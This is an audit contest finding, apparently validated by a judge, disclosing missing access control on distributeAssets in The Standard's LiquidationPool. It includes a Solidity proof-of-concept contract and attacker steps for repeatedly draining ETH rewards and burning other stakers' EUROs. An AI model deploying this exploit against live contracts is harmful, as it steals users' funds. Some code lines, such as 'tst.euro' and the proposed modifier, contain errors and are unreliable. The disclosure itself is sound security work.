The Standard

The Standard
DeFiHardhat
20,000 USDC
View results
Submission Details
Severity: high
Valid

`LiquidationPool:: distributeAssets` lack of access control, could lead to get burn other users euro stake with no eth as reward

Summary

Due of lack of access control user can call distributeAsset again and again to burn other user euro and claim other users eth leading them unclaimed high eth reward.

Vulnerability Details

When a user is under collateralized, liquidator can run liquidation. Wehn runLiquidation is called, it send the vault assets to Liquidation Pool and call distributeAssets. This function burn the required euro required for the liquidation and credit rewards to holders/Stakers.

For erc20 tokens it's works as expected and cannot be called by others. But in case of eth, it doesn't check the value. Here is simple example, how it can be exploited.
There are 4 users. User A, B, C and D.

user A has 10 eth, 0.1 wbtc and 1000 arbitrum in his vault which is undercollateral.
Meanwhile user B, C and D are stakers in the liquidationPool, in which they are staking euro's and Tst's.

For simplicity, User B has staked 100 euro and 100 TST.
user C staked 400 euro and 400 TST.
user D staked 500 euro and 500 tst.

so there share is 10, 40 and 50 percent respectively.

When runLiquidation is called, they rewards are credited and euro burned as follows:

User ETH share WBTC share ARBITRUM share Euro burned
User B 1 0.01 100 10
User C 4 0.04 400 40
User D 5 0.05 500 50

User B claimed his rewards, But user C and B Did not.
Now user B call distributeAssets again only putting Native in assetsTokens (amount same or more) and other values as is, as function don't have any check for this. So it will execute it based on the user input and burn the euro's from all other users account and credit the reward to claim. Now user B will be able to claim eth again. He will only loose euros in this process. and always stays in profit. He can call this recursively untill most of the eth get's emptied.
Meanwhile other users won't be able to claim there rewards due to no or less eth in the contract.

After Attack users stats will be like this-

User ETH share WBTC share ARBITRUM share Euro burned
User B 10 (claimed all) 0.01 (claimed) 100 (claimed) 65.14
User C 40 (can't claimed due to insolvency) 0.04 400 260.56
User D 50 (can't claimed due to insolvency ) 0.05 500 325.7

POC

Deploy following contract along with all others contracts.

// SPDX-License-Identifier: test
pragma solidity 0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "contracts/interfaces/ILiquidationPoolManager.sol";
import "contracts/LiquidationPool.sol";
contract AttackPOC {
address private immutable TST;
address private immutable EUROs;
ITokenManager tokenManager;
ILiquidationPoolManager manager;
LiquidationPool liquidationPool;
address private owner;
error OnlyOwnerIsAllowed();
error ETHTransferFailed();
modifier onlyOwner (){
if(msg.sender != owner) revert OnlyOwnerIsAllowed();
_;
}
constructor(address tst, address euro, ITokenManager _tm, ILiquidationPoolManager _lpm, LiquidationPool _lp) {
TST = tst;
EUROs = euro;
tokenManager = _tm;
liquidationPool = _lp;
manager = _lpm;
owner = msg.sender;
}
function stake (uint256 tst, uint256 euro) external onlyOwner {
IERC20(TST).approve(address(liquidationPool), tst);
IERC20(EUROs).approve(address(liquidationPool),euro);
liquidationPool.increasePosition(tst, euro);
}
function unstake (uint256 tst, uint256 euro) external onlyOwner {
liquidationPool.decreasePosition(tst.euro);
}
function Attack (uint256 ethValue) external onlyOwner {
ITokenManager.Token[] memory tokens = ITokenManager(manager.tokenManager()).getAcceptedTokens();
ILiquidationPoolManager.Asset[] memory assets = new ILiquidationPoolManager.Asset[](1);
ITokenManager.Token memory token = tokens[0];
assets[0] = ILiquidationPoolManager.Asset(token, ethValue);
liquidationPool.claimRewards();
liquidationPool.distributeAssets{value: 0}(assets, manager.collateralRate(), manager.HUNDRED_PC());
uint256 targetEth = address(liquidationPool).balance;
while(targetEth >= address(this).balance) {
liquidationPool.claimRewards();
liquidationPool.distributeAssets{value: 0}(assets, manager.collateralRate(), manager.HUNDRED_PC());
targetEth = address(liquidationPool).balance;
}
}
function claimERC20 (address token, uint256 amount) external onlyOwner {
IERC20(token).transfer(msg.sender, amount);
}
function claimETH () external onlyOwner {
( bool sent,) = payable(owner).call{value: address(this).balance}("");
if(!sent) revert ETHTransferFailed();
}
receive () external payable {}
}

Attacker will deploy the contract.

  • Send the TST and EUROs to the contract

  • Call the stake function to increase postion in the liquidation pool, wait for liquidation.

  • Once liquidation is done, he call the attack function with ethAmount (that was set during liquidation)

  • This will enable him to claim his initial earning + other eth as well

  • during this process, he will be burning euro's from other account as well and eth reward get credited to there pending earnings as well.

  • due to insolvency (as most eth is drained by the user already, other users will be at loss, will be unable to claim there rewards.

  • attack is possible only, if attacker has 50% or less stake of the total pool. If he has say 30, he will call it 3 times and drain 90% of eth.

Impact

Innocent users loosing there euro's.

Tools Used

Manual Review

Recommendations

Add a modifier onlyPoolManager on this function avoid the issue.

+ mapping (address => bool) public isPoolManager;
+ modifier onlyPoolManager () {
+ require (isPoolManager(msg.sender), "Pool manager only");
+ _;
+ }
Function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external
+ onlyPoolManager
payable {
///// Existing code
}
Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

distributeAssets-issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.